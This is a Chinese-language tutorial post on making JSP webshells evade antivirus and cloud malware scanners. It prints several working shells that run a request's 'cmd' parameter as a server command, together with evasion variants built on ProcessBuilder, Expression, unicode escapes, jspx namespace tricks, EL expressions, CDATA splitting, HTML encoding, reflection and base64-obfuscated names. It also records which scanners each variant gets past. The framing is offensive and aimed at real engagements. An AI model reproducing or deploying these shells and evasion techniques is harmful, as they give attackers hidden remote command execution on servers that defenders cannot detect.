写在前面:
学了很多java的安全知识,但是突然想起来,打靶场中都是使用冰蝎生成的木马,而实战中,存在杀软的,我们上传的webshell连接不到几秒就杀了,甚至还没上传就被杀了,因此想学学java的webshell免杀。
原始jsp:
基础webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %>
<% String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>
|
运行成功后访问?cmd=ls
:

火绒落地杀:

阿里云webshell查杀也是直接查出来了:

主要的查杀点在于Runtime.getRuntime().exec
ProcessBuilder替换Runtime:
学过java的命令执行都知道,Runtime.getRuntime.exec最终调用的是ProcessBuilder,我们可以尝试替换看免杀效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %>
<% String cmd = request.getParameter("cmd"); ProcessBuilder processBuilder = new ProcessBuilder(cmd); Process process = processBuilder.start(); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>
|
ProcessBuilder也是直接杀:

但是vt是全绿的:

d盾直接过:

河马直接过:

可能是阿里的webshell查杀,规则匹配比较厉害,当然后面会讲怎么绕过(字符绕过)。
Expression免杀:
首先这里介绍什么是Expression。
java.beans.Expression,是java的el表达式。
Express(Object value, Object target,String methodName,Object] arguments) 返回一个新的Exrpess对象。
通过这个Expression可以调用该对象的getVaule()方法获取我们前面放置的值,然后再拿这个对象去调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <%@ page import="java.beans.Expression" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStream" %> <%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); Expression expr = new Expression(new ProcessBuilder(cmd), "start", new Object[]{});
Process process = (Process) expr.getValue(); InputStream in = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in)); String tmp = null; while((tmp = bufferedReader.readLine())!=null){ response.getWriter().println(tmp); } %>
|
阿里云一如既往的杀:

河马不杀:

d盾不杀:

编码绕过:
unicode编码:
jsp是支持unicode编码的,我们可以将代码进行unicode编码,看能不能绕过查杀,这里使用最简单的,即Runtime的shell看会不会被杀:

虽然报错,但是没关系的jsp会自动解析,也可以正常运行,如图所示:

这里还可以使用前缀为\uuuu00
:

火绒不杀:

阿里云还是杀了:

d盾是存在可疑:

CDATA编码:
上面我们看到阿里云webshell查杀,会判断当前文件是否存在%>
我们将这个%>
删除后就显示正常文件,因此可以推断阿里云判断是webshell的一个主要特征是%>
。

但是jsp中不将这个闭合,是不能解析的,因此这里尝试使用CDATA特性:
jspx其实就是xml格式的jsp文件
在jspx中,可以利用jsp:scriptlet来代替<%%>
jsp的一些小知识:
scriptlet标签:
代码如图所示:
shell.jspx
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="gb2312"/> <jsp:directive.page import="java.io.*"/>
<html> <head> <title>jspx</title> </head> <body> <jsp:scriptlet> try { String cmd = request.getParameter("cmd"); if (cmd !=null){ Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } } catch (IOException e) { System.err.println(e); } </jsp:scriptlet> </body> </html> </jsp:root>
|
或者这样子写:
shell.jsp
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet> String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet>
|
两者都可以运行:

如果直接这样子写,Runtime特征会被识别出来:

因此我们可以结合unicode编码
+jsp:script
标签绕过:

好吧,阿里云还是杀了:

但我们不写webshell,阿里云是不杀的,因此可以判断不杀这个标签的问题,而是unicode被杀了:

expression标签绕过:

1 2 3 4 5 6
| 利用<jsp:expression>绕过 <jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2"> <jsp:expression> Runtime.getRuntime().exec(pageContext.request.getParameter("cmd")); </jsp:expression> </jsp:root>
|
命名空间绕过:
在jsp:scriptlet
是默认的命名空间,但是实际上可以随意替换成其他名字。
这个标签bb
要和xmlns:
的bb一致。
1 2 3 4 5
| <bb:root version="1.2" xmlns:bb="http://java.sun.com/JSP/Page"> <bb:scriptlet> Runtime.getRuntime().exec(request.getParameter("cmd")); </bb:scriptlet> </bb:root>
|
但这样子写不会输出内容,实际上是运行了:

尝试使用命令空间+unicode编码,虽然可以成功解析,但是还是被阿里云杀:

el表达式绕过:
sp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执行,这样就可以绕过jsp的限制。
如:
1
| ${Runtime.getRuntime.exec(param.cmd)}
|

CDATA免杀实际案例:
CDATA -(未解析)字符数据
术语 CDATA 是不应该由 XML 解析器解析的文本数据。
像<
和&
字符在XML元素中都是非法的。
<
会产生错误,因为解析器会把该字符解释为新元素的开始。
&
会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如JavaScript 代码,包含大量”<”或”&”字符。为了避免错误,可以将脚本代码定义为CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由"<![CDATA[" 开始,由"]]>"
结束:
说人话就是只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大
因此我们可以使用<![DATA[这里写拼接的数据]]>
进行绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0"> <jsp:directive.page contentType="text/html"/> <jsp:scriptlet> String cmd = requ<![CDATA[est.get]]>Parameter("cmd"); Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd); java.io.InputStream is = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } </jsp:scriptlet> </jsp:root>
|
阿里云还是绕不过,虽然没有高亮标红,但是还是被识别成恶意了。

但是可以绕过火绒:

HTML编码:
将其他字符进行html编码,然后<!CDATA[]>
的内容不需要编码,如图所示:
这个html编码,我是用工具后和生成的一样,但是需要注意排版,不如会报错:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0"> <jsp:directive.page contentType="text/html"/> <jsp:scriptlet> String cmd = requ<![CDATA[est.get]]>Parameter("cmd"); Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);   java.io.InputStream is = process.getInputStream();   java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));   String r = null;   while((r = bufferedReader.readLine())!=null){     response.g<![CDATA[etWr]]>iter().println(r);   } </jsp:scriptlet> </jsp:root>
|
如果用这个captfEncoder工具去编码,勾选如下:

反射调用:
基本反射:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.*" %> <%@ page language="java" pageEncoding="UTF-8" %> <%
String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime"); Method runtimeMethod = rt.getMethod("getRuntime"); Method method = rt.getMethod("exec", String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object;
InputStream in = process.getInputStream(); InputStreamReader resultReader = new InputStreamReader(in); BufferedReader stdInput = new BufferedReader(resultReader); String s = null;
while ((s = stdInput.readLine()) != null) { out.println(s); } %>
|
base64混淆api:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.*" %> <%@ page import="java.util.Base64" %> <%@ page language="java" pageEncoding="UTF-8" %> <%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object;
InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>
|
如果发现还是被杀,可以使用getDeclaredMethod
这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <% String cmd = request.getParameter(new String(java.util.Base64.getDecoder().decode("Y21k"),"utf-8")); Class<?> rt =Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8")); java.lang.reflect.Method runtimeMethod = rt.getDeclaredMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8")); java.lang.reflect.Method method = rt.getDeclaredMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class); Object object = method.invoke(runtimeMethod.invoke(null),cmd); Process process = (Process) object; java.io.InputStream is = process.getInputStream(); java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>
|
在结合unicode编码,采用不同的u长度,即可绕过阿里云的检测。
这里推荐一个好的混淆项目,可以bypass阿里云(今天实测,2024.5.27)
参考:
java免杀合集 - 跳跳糖 (tttang.com)
阿里云恶意文件检测平台 - 首页 (aliyun.com)
星球问答:一次jsp上传绕过的思考 - (yzddmr6.com)
实战分析某红队魔改哥斯拉Webshell - 先知社区 (aliyun.com)